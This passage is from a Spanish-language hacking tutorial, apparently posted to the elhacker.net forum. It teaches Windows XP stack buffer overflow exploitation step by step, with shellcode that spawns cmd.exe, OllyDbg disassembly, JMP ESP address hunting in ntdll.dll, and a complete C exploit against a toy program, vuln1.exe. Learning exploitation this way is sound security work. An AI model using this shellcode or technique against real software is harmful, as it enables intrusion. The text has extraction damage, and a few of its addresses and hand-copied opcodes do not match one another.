cadena (aunque luego haya mas cosas, las ignora) 2- Necesitamos meter "cmd.exe" en la pila (push 'c', push 'm', push 'd', push '.', etc...), y luego saber su direccin en la propia pila, para pasrsela a System() como argumento.
3- Necesitamos la direccin de la funcin System() en la DLL msvcrt.dll As que iremos punto por punto para hacer nuestra shellcode bsica :) -== COMO HACER UNA SHELLCODE BASICA ==1 El tema del nulo (null) Pongamos este ejemplo, en codigo C: char buffer[10]; //declaramos un array de 10bytes char cadena[10]= "lola\0wop"; //declaramos otro que contiene ese string. strcpy (buffer, cadena) // copiamos cadena dentro de buffer. Strcpy() solo copiara "lola" en buffer, ya que ha detectado un \0 (NULL), que significa FIN DE CADENA. As que no puede haber nulos en la shellcode (0x00), ni, opcionalmente, retornos de carro (0x0D), as como "mas cosas" segn lo que acepte el programa vulnerable. Un programa que tiene un overflow al abrir un archivo de Windows muy largo tendr la dificultad que la shellcode no podr contener caracteres que Windows no permite en los nombres de fichero, por ejemplo. Como la hacemos para que no haya nulos en los opcodes, pero si en la pila? Muy fcil, usando la funcin XOR (OR exclusivo). Cuando a un valor se le hace un XOR consigo mismo, da 0. Si quereis mas informacin sobre XOR (y sus diversas funciones respecto a una shellcode, muy interesantes, como al encriptacin XOR que se empezo a usar en virus...) google :) xor edi,edi <-- He usado EDI por ejemplo... EDI ser igual a 00000000. push edi <--- Metemos 00000000 en la pila Ya tenemos un "0" en la pila, pero los opcodes de XOR EDI, EDI y PUSH EDI en hexadecimal no contienen ningn 0 en hexadecimal, perfecto :) 2- Necesitamos meter "cmd.exe" en la pila y saber la direccin del inicio de la cadena "cmd.exe" en la pila. sub esp,04h <--- "sustrae" a ESP 04h bytes, con lo que apuntara "mas arriba", dejndonos 4bytes mas para meter cmd.exe (ya teniamos 4bytes, ahora 8bytes) mov mov mov mov mov mov mov byte byte byte byte byte byte byte ptr ptr ptr ptr ptr ptr ptr [ebp-08h],63h [ebp-07h],6Dh [ebp-06h],64h [ebp-05h],2Eh [ebp-04h],65h [ebp-03h],78h [ebp-02h],65h <-<-<-<-<-<-<-Mete Mete Mete Mete Mete Mete Mete 'c' 'm' 'd' '.' 'e' 'x' 'e' en en en en en en en hexadecimal en ebp-8bytes ebp -7 ebp -6 ebp -5 ebp -4 ebp -3 ebp -2
lea eax,[ebp-08h] <--- cargamos en eax, la direccin (NO el valor) de ebp-08, que apunta a nuestra 'c', el inicio de cmd.exe push eax <-- Metemos la direccin de 'cmd.exe' en la pila Utilizamos direcciones "relativas" como ebp-7bytes, para que la shellcode sea bastante reutilizable. Las direcciones de la pila son muy variables, con lo que
no conviene usar direcciones absolutas. De todas formas, alguna direccin absoluta usamos :P Ya lo veremos..... Ya estn la cadena cmd.exe\00 en la pila, solo necesitamos la direccin de system() 3- direccin de System() en la DLL msvcrt.dll Esta direccin (u offset) variara debido a la versin (Win2k, Win XP, etc..) as como a los service packs instalados, lenguaje del SO y cualquier otra cosa que modifique las DLLs del sistema (puede ocurrir que dos personas tengan el mismo SO, los mismos SPs, el mismo lenguaje, etc... y las DLLs sean distintas). Se puede crear una shellcode (no es muy difcil, hay varios mtodos) que no se sirva de ninguna direccin "harcodeada" (es decir, direccin fija) pero no lo trataremos aqu ya que esto se alargara bastante, adems de que solo tratamos de crear una shellcode simple y que funcione. De todas formas, saber que la direccin de system (y de cualquier otra API) se puede sacar en tiempo de ejecucin, haciendo la shellcode completamente universal. Se puede buscar dicho offset de system() "a mano" con un debugger, simplemente creando por ejemplo un cdigo C donde se llame a system() y luego en el debugger, ver a donde apunta el Call msvcrt.system. Pero, como soy vago :) He medio codeado un mini programa que te dice el offset de cualquier funcin en cualquier dll. Lo podis encontrar aqu: http://foro.elhacker.net/index.php/topic,56137.0.html Pero por si no lo queris buscar, os pongo el cdigo C: #include <stdio.h> #include <windows.h> typedef VOID (*MYPROC)(LPTSTR); int main (int argc, char **argv) { char dll[100]; char funcin[100]; HINSTANCE libreria; MYPROC procadd; printf ("Busca offsets xDD. Introduce como primer argumento el nombre de la DLL,\n"); printf ("y como segundo argumento la funcin dentro de esa DLL\n"); printf ("Por ejemplo %s msvcrt.dll system\n\n", argv[0]); if (argc != 3){ printf ("Introduce 2 argumentos como se explica mas arriba!!!\n"); return 1; } memset(dll,0,sizeof(dll)); memset(funcion,0,sizeof(funcion)); memcpy (dll, argv[1], strlen(argv[1])); memcpy (funcion, argv[2], strlen(argv[2])); libreria = LoadLibrary(dll); procadd = (MYPROC)GetProcAddress (libreria,funcion);
printf ("Offset de %s en la DLL %s es %x", funcion, dll, procadd); return 0; } Ojo, despus de codearlo, me dado cuenta que hay varios cdigos por ah que hacen lo mismo, adems de que cualquier programador que haya trabajado con APIs de Windows, sabe hacer este cdigo. Simplemente me lo he codeado, por codear xDDD. Al lio, una vez sacado el offset, en un Windows XP SP1 es 77bf8044. Ya tenemos el offset :) mov ebx,0x77bf8044 <-- Metemos en ebx el valor del offset de system, en un Win XP SP1 es 77bf8044 call ebx <-- Llamamos a system y ejecuta nuestra shellcode :) Nota: no se puede hacer directamente un call 0x77bf8044, hay que guardarlo en un registro, y luego llamar al registro. Veamos el cdigo completo de la shellcode, dentro de un cdigo C. Lo metemos en un cdigo C para poder probarlo (en vez de buscar un compilador como NASM o TASM) ya que es mas "fcil". Adems, tenemos que "cargar" la librera msvcrt.dll en este mini programita, ya que nos valemos de ella para llamar a system. Si no la cargramos, al tratar de ejecutar la shellcode, como msvcrt.dll no esta en la tabla de importaciones del ejecutable, no la podramos usar. Normalmente, los programas vulnerables que "petemos" cargaran numerosas libreras, con lo que nos podremos valer de ellas. Y aunque no cargaran ninguna, tiene que cargar por fuerza kernel32.dll y ntdll.dll (las cargan todos los ejecutables), y a travs de kernel32.dll podemos buscar los offsets de LoadLibrary (para cargar la librera DLL que queramos) as como GetProcAddress(para saber la direccin de la funcin o API dentro de la librera cargada).Todo esto a travs de la shellcode, as es como se realizan las shellcodes "universales". Pero eso se sale de una shellcode "simple", as que no lo trataremos. Bien, este es el cdigo C: #include <stdio.h> #include <windows.h> int main () { LoadLibrary("msvcrt.dll"); __asm{ push ebp mov ebp,esp xor edi,edi push edi sub esp,04h mov byte ptr [ebp-08h],63h mov byte ptr [ebp-07h],6Dh mov byte ptr [ebp-06h],64h mov byte ptr [ebp-05h],2Eh mov byte ptr [ebp-04h],65h mov byte ptr [ebp-03h],78h mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h] push eax mov ebx,0x77bf8044 call ebx } } Este cdigo NO FUNCIONA en el compilador Dev Cpp, ya que Dev Cpp trabaja con ASM AT&T, mucho mas complicado y coazo (para mi), lo tendris que compilar en VISUAL C++ o otro equivalente que trabaje con ASM Intelx86. Las instrucciones: push ebp mov ebp,esp Sirven para "crear" y mantener un espacio en la pila para nuestras variables. En este caso es necesario, pero es ms que probable que en un exploit "real" no lo necesitemos, ya que el programa que tratemos de explotar tendr la pila lista para introducir nuestra shellcode. Lo nico que hace es salvar el ebp actual, y crear una nueva "pila" al mover el valor de esp en ebp. Si lo compilamos, y ejecutamos el exe, veremos que el programa funciona :) Sale una shell MSDOS. Bien, pero como "metemos" esta shellcode en el programa vulnerable? A travs de sus opcodes hexadecimales, la "conversin" de instruccin ASM a hexadecimal. Esto ya lo vimos al meter en el olly el programita vuln1.exe: 004012CD |. 68 80124000 PUSH vuln1.00401280 ; /format = ; \printf
"Introduzca un argumento al programa" 004012D2 |. E8 79170000 CALL <JMP.&msvcrt.printf> 004012D7 |. 83C4 10 ADD ESP,10 004012DA |. EB 17 JMP SHORT vuln1.004012F3 004012DC |> 83EC 08 SUB ESP,8 004012DF |. 8B45 0C MOV EAX,DWORD PTR SS:[EBP+C] 004012E2 |. 83C0 04 ADD EAX,4 004012E5 |. FF30 PUSH DWORD PTR DS:[EAX] 004012E7 |. 8D45 B8 LEA EAX,DWORD PTR SS:[EBP-48] 004012EA |. 50 PUSH EAX 004012EB |. E8 50170000 CALL <JMP.&msvcrt.strcpy> 004012F0 |. 83C4 10 ADD ESP,10
; ; ; ;
Por ejemplo, veis que el "opcode" de un PUSH EAX es '50', o que el de un SUB ESP,8 es '83EC 08'. Para ver los opcodes de nuestra shellcode hay varios mtodos, pero vamos, lo mas fcil es meterla en el Olly, y verlos directamente, y copiarlos en una libreta (al menos as lo hago yo con shellcodes cortas :P). Se explican en numerosos documentos (entre ellos, en documentos de ezines espaolas muy recomendables de leer..., por ejemplo en uno de RaiSe de Net-Search) como hacer programitas que lean los opcodes, y te los printeen por pantalla ordenaditos y tal, pero yo lo har a mano :) Obviamente, todo lo que "sale" por el olly no es nuestra shellcode, son
instrucciones que aade el compilador para que funcione perfectamente, compatibilidad msdos, control bsico de errores, etc..... Si queremos buscar nuestra shellcode dentro del ejecutable, podemos hacerlo de varias maneras... Yo la que he usado, mas cmoda, es mirar la tabla de string references, la tabla donde se guardan las cadenas de texto y ver donde esta "msvcrt.dll" (es una cadena de texto introducida por nosotros en el programa), clickear 2 veces, y me lleva directamente al cdigo del LoadLibrary ("msvcrt.dll"). Para ver las string references, clik botn derecho, Search for -> All refenced strings. Abajo del todo (en mi caso) estaba msvcrt.dll. Tambin podemos hacerlo buscando una instruccin de nuestra shellcode (por ejemplo, 83EC 04, SUB ESP,4) o simplemente corriendo el programa paso a paso (algo lento :P). Bueno, vamos al cdigo (al hacer lo de string references): 0040B4DA |. 68 3CFF4100 = "msvcrt.dll" 0040B4DF |. FF15 5C414200 \LoadLibraryA 0040B4E5 |. 3BF4 0040B4E7 |. E8 845BFFFF 0040B4EC |. 55 shellcode 0040B4ED |. 8BEC 0040B4EF |. 33FF 0040B4F1 |. 57 0040B4F2 |. 83EC 04 0040B4F5 |. C645 F8 63 0040B4F9 |. C645 F9 6D 0040B4FD |. C645 FA 64 0040B501 |. C645 FB 2E 0040B505 |. C645 FC 65 0040B509 |. C645 FD 78 0040B50D |. C645 FE 65 0040B511 |. 8D45 F8 0040B514 |. 50 0040B515 |. BB 4480BF77 0040B51A |. FFD3 0040B51C |. 5F 0040B51D |. 5E 0040B51E |. 5B 0040B51F |. 83C4 40 0040B522 |. 3BEC 0040B524 |. E8 475BFFFF 0040B529 |. 8BE5 0040B52B |. 5D 0040B52C \. C3 PUSH OFFSET pruebash.??_C@_0L@CMOK@msvcr>; /FileName CALL DWORD PTR DS:[<&KERNEL32.LoadLibrar>; CMP ESI,ESP CALL pruebash.__chkesp PUSH EBP <---- Aqu empieza nuestra MOV EBP,ESP XOR EDI,EDI PUSH EDI SUB ESP,4 MOV BYTE PTR SS:[EBP-8],63 MOV BYTE PTR SS:[EBP-7],6D MOV BYTE PTR SS:[EBP-6],64 MOV BYTE PTR SS:[EBP-5],2E MOV BYTE PTR SS:[EBP-4],65 MOV BYTE PTR SS:[EBP-3],78 MOV BYTE PTR SS:[EBP-2],65 LEA EAX,DWORD PTR SS:[EBP-8] PUSH EAX MOV EBX,77BF8044 CALL EBX <--- Aqui acaba nuestra shellcode POP EDI POP ESI POP EBX ADD ESP,40 CMP EBP,ESP CALL pruebash.__chkesp MOV ESP,EBP POP EBP RETN
"Caemos" justo arriba, en FileName=msvcrt.dll. Y ya vemos nuestra shellcode, y vemos que el compilador ha aadido instrucciones por debajo y por arriba (lo dicho, compatibilidad, control de excepciones, salida del programa, etc..), pero no nos importa. Aqu esta la shellcode: 0040B4EC |. 55 PUSH EBP <---- Aqu empieza nuestra shellcode
0040B4ED 0040B4EF 0040B4F1 0040B4F2 0040B4F5 0040B4F9 0040B4FD 0040B501 0040B505 0040B509 0040B50D 0040B511 0040B514 0040B515 0040B51A
|. |. |. |. |. |. |. |. |. |. |. |. |. |. |.
8BEC 33FF 57 83EC 04 C645 F8 63 C645 F9 6D C645 FA 64 C645 FB 2E C645 FC 65 C645 FD 78 C645 FE 65 8D45 F8 50 BB 4480BF77 FFD3
MOV EBP,ESP XOR EDI,EDI PUSH EDI SUB ESP,4 MOV BYTE PTR SS:[EBP-8],63 MOV BYTE PTR SS:[EBP-7],6D MOV BYTE PTR SS:[EBP-6],64 MOV BYTE PTR SS:[EBP-5],2E MOV BYTE PTR SS:[EBP-4],65 MOV BYTE PTR SS:[EBP-3],78 MOV BYTE PTR SS:[EBP-2],65 LEA EAX,DWORD PTR SS:[EBP-8] PUSH EAX MOV EBX,77BF8044 CALL EBX <--- Aqui acaba nuestra shellcode
Y vemos los opcodes, los copiamos a una libreta a mano, o un Copy-Paste a un archivo de texto, o usamos algun programa que nos la printee por pantalla. Deberamos tener algo as: 55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3 Estos son los opcodes. Si os fijis, veris que esta la direccin del offset de System() (77BF8044) pero AL REVES. Esto es debido a que la arquitectura de nuestros Intelx86 o derivados (AMD, etc...) es LITTLE ENDIAN. A no ser que dispongamos de un Alpha o un Sparc en casa, nos manejaremos en Little Endian a la hora de direcciones y offsets. Simplemente, para no enrollarme, al meter un offset, lo tenis que meter "al revs". Si queris mas informacin, google -> little endian :) Bien, tenemos los opcodes de nuestra shellcode :). Sabemos que por ejemplo A = 41h (41 hexadecimal, si fuera 41d, seria 41 en decimal), con lo que un 50h = P o 6Dh = m, pero hay otros que estn fuera de la tabla ASCII, y adems, meter as los opcodes es un coazo, y que nadie lo hace xD. Pero... como sabemos la direccin del inicio de la shellcode para poder sobrescribir EIP con su valor? Como haremos para que el programa funcione siempre si las direcciones de la pila varan? Y como le pasamos al programa vulnerable la shellcode? -== CREANDO EL EXPLOIT ==Vamos a crear el exploit :) - Como sabemos la direccin del inicio de la shellcode para sobrescribir EIP con su valor? Para saber donde sobrescribimos EXACTAMENTE EIP, es decir, donde meter la direccin de la shellcode, usaremos una tcnica especial xDDDD. En vez de mandar al programa AAAAAAAAAAAAAAAs... a mogolln, le mandaremos AAAABBBBCCCCDDDD.... As sabremos donde exactamente sobrescribe el RET, para as poder cambiarlo por la direccin de la shellcode. Si le metemos al programa esto (a travs del Olly, Arguments) AAABBBBCCCCDDDD...
Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro del buffer, donde debe ir la direccin de la shellcode que "cojera" EIP y ejecutara nuestra shellcode. - Como haremos que el programa funcione siempre si las direcciones de la pila varan? Si metiramos directamente la direccin de la shellcode en la pila (una direccin del tipo 0022XXXX), tendramos 2 problemas: La pila cambia muchsimo segn las aplicaciones que estn en ejecucin, y mas aun cambiara en otros sistemas, con lo que no funcionara salvo en nuestro propio ordenador. Y el otro problema, es que en la pila las direcciones contienen un 00 --> 0022XXXX (a diferencia de Linux) con lo que no podemos hardcodear la direccin de la pila. Pero si habis visto lo anterior, la prueba de AAAABBBBCCCCDDDD... (hacedlo de nuevo), fijaos en la pila cuando se produce la excepcin: 0022FF74 54545454 <- EIP ha tratado de ejecutar lo que hay en la direccin 54545454 (EIP = 54545454) 0022FF78 55555555 <- ESP= 0022FF78 0022FF7C 56565656 Si os fijis, EIP ha cogido el valor de 54545454, pero ESP apunta a 55555555. No os da una idea? Si consiguiramos que EIP "saltara" a una direccin de memoria que contuviera un JMP ESP (salto a ESP) o un CALL ESP (llamada a ESP) y en vez de tener 55555555 tuviramos los opcodes de nuestra shellcode, SE EJECUTARIA NUESTRA SHELLCODE!!!! Vamos paso a paso :) En vez de 54545454 hay una direccin de una instruccin de un JMP ESP. EIP cogera esa direccin, ejecutara el JMP ESP, y "caera" donde apunta ESP, es decir, en 55555555, que lo cambiaramos por nuestra shellcode, por lo que se ejecutara. Y como buscamos una direccin de un JMP ESP o un CALL ESP? En una DLL que cargue el programa vulnerable, con FINDJMP, un programita realmente til. Dicho programita, buscara en la DLL que le digamos, instrucciones referidas al registro que queramos. El findjmp lo encontrareis en el foro de elhacker.net :) Por ejemplo, como ya he dicho, todo programa ejecutable carga kernel32.dll y ntdll.dll, aunque tambin podramos usar cualquier librera que cargara el programa ejecutable (para ver eso, podemos cargar el programa vulnerable en el Ollydbg, y ver los EXECUTABLE MODULES, y ah vienen las DLLs que carga). Si usramos el findjmp as: Microsoft Windows XP [Versin 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:\Rojodos>findjmp kernel32.dll esp Scanning kernel32.dll for code useable with the esp register 0x77E81941 call esp
Finished Scanning kernel32.dll for code useable with the esp register Found 1 usable addresses Vemos que solo hay una instruccin que use el registro ESP, y es un CALL ESP, preferimos mejor un JMP ESP (un call siempre guarda en la pila, como ya dije, su instruccin anterior, y eso nos puede fastidiar la shellcode....). Mejor buscamos un JMP ESP: Microsoft Windows XP [Versin 5.1.2600] (C) Copyright 1985-2001 Microsoft Corp. F:\Rojodos>findjmp ntdll.dll esp Scanning ntdll.dll for code useable with the esp register 0x77F7AC16 call esp 0x77F8980F jmp esp Finished Scanning ntdll.dll for code useable with the esp register Found 2 usable addresses Ya tenemos un JMP ESP en la librera ntdll.dll, en el offset 0x77F8980F. Esto es en mi Windows XP SP1, el offset cambiara segn versiones del Windows, SP, lenguajes... En Linux no se hace as, no se llama a un JMP ESP, si no que se usa, en la forma BSICA de explotacin, NOPs (instrucciones ASM que NO EJECUTAN NADA, simplemente pasan a la siguiente instruccin), offsets aproximados de direcciones de la pila, y un bruteforce... Eso, si hay ganas, se har otro manual, pero para explotacin en sistemas Linux si que hay mucha mas documentacin, y en espaol incluso. - Como le pasamos al programa la shellcode Ya tenemos la direccin del JMP ESP, es decir, sabemos con que valor tenemos que sobrescribir el RET para que se ejecute el programa. Solo nos queda precisamente enviarle al programa vulnerable AAAABBBB...SSSS (para llenar el buffer) + offset JMP ESP + shellcode. Como lo hacemos? El programa vulnerable recibe los datos que hacen el overflow a travs de la lnea de comandos, de sus argumentos. Podramos pasarle la shellcode en caracteres printeables por los argumentos, pero eso es un coazo, porque primero tendramos que convertir esos opcodes a su equivalente en la tabla ASCII (algunos no estn :P) y luego copy paste... no no, mejor que no. Mejor nos codeamos un "exploit" en C, que llamara al programa pasndole los datos de la shellcode por parmetro, as nos libramos de convertir los opcodes. De todas formas, en el programa incluir un printf() para que veis como son. /* exploit_vuln1.c por Rojodos */ #include <stdio.h> // Entrada/Salida #include <stdlib.h> // execv() int main (int argc,char **argv) { //Declaramos argv para usarlo con el execv
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNN" "OOOOPPPPQQQQRRRRSSSS"; //Para llegar el buffer y llegar al ret char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63" "\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD" "\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3"; //Shellcode que ejecuta system("cmd.exe"), con la llamada a system harcodeada //en \x44\x80\xBF\x77 0x77BF9044 char offset[]="\x0F\x98\xF8\x77"; // Offset jmp esp ntdll32.dll WinXP SP1 Esp strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode printf ("Cadena + offset + shellcode en formato printable\n\n"); printf ("%s", evilbuffer); argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1 argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1 argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos execv ("vuln1.exe",argv); //Ejecutamos vuln1.exe pasndole evilbuffer como argumento } Nota para los programadores :P Tendra que haber creado una estructura de punteros para usarlo en el execv, pero me he valido de argv[] para no marear las cosas, por simplicidad. Espero que no me cuelgen por eso :P Este exploit compila perfectamente en Dev Cpp, y *debera* compilar en cualquier otro compilador de Windows (y de Linux). La nica funcin que podra dar problemas es execv, pero en teora es compatible con Windows, no creo que haya ningn problema. No lo he probado en ms compiladores. Al compilarlo, y crear exploit_vuln1.exe, si lo ejecutamos, saltara una shell MSDOS :) Hemos explotado con xito el programa vuln1.exe, a travs del programa exploit_vuln1.exe. :P Espero que os haya gustado el documento, y que os ayude a, primero, entender los stack overflows, y luego, a crear vuestros propios exploits bsicos. La mejor forma de aprender, aparte de leer docs y mas docs, es programando, programando y mas programando :) Los dos exploits pblicos que he escrito, el del Winamp 5.08 Stack Overflow y el de Acrobat Reader 6.0.1 Stack Overflow estn basados en este documento. Cualquiera que lea y comprenda este documento, podra haber creado dichos
exploits. As que como veis, no tiene ningn misterio :) No dejis de practicar, y cualquier pregunta ser mejor que recibida en el foro de elhacker.net. -== DOCUMENTACION ==Documentos importantes mucho mejor redactados y completos que el mo :P (exploits y stack overflows en Windows o shellcoding en general). Hay MUCHOS ms, pero estos son los que he considerado importantes :) Gran Recopilacin de textos sobre el tema, por Griph: http://foro.elhacker.net/index.php/topic,49765.0.html Phrack. Win32 Buffer Overflows http://www.phrack.org/phrack/55/P55-15 Phrack. Avances en Windows Shellcoding http://www.phrack.org/phrack/62/p62-0x07_Advances_in_Windows_Shellcode.txt NetSearch. Shellcodes + Overflows Win32 (1) http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x03.txt NetSearch. Shellcodes + Overflows Win32 (2) http://www.hackemate.com.ar/ezines/netsearch/ns007/ns7-0x04.txt Introduccin al shellcoding (Linux) http://tigerteam.se/dl/papers/intro_to_shellcoding.pdf Lastima de Phrack :( Y por supuesto, buscar tanto por la web como por el foro de elhacker.net :) Y si no, google! -== AGRADECIMIENTOS ==Hecho para el foro de elhacker.net :) http://foro.elhacker.net An as, se permite la distribucin del texto en cualquier sitio web, pero haciendo referencia en los crditos al autor, en este caso, yo, Rojodos. Agradecimientos a todos los colaboradores y moderadores, y al administrador, aprendiendo cada da de ellos :) A todos los espaoles que colaboran en la seguridad y el hacking, a NetSearch, 7a69, SET, 29A, Cyruxnet, Hackxcrack, y a cualquier persona en el mundo que se interese y escriba sobre la seguridad informtica, que nos aporte lo que ha aprendido e investigado :) Abstracto es mas tonto de lo que aparenta, que ya es decir xDDDDDDDDDDDDDD (no poda dejar de ponerlo xDD) Y a ELLA, Ishtar :) Rojodos - rojodos2[at]yahoo[dot]es
_EOF_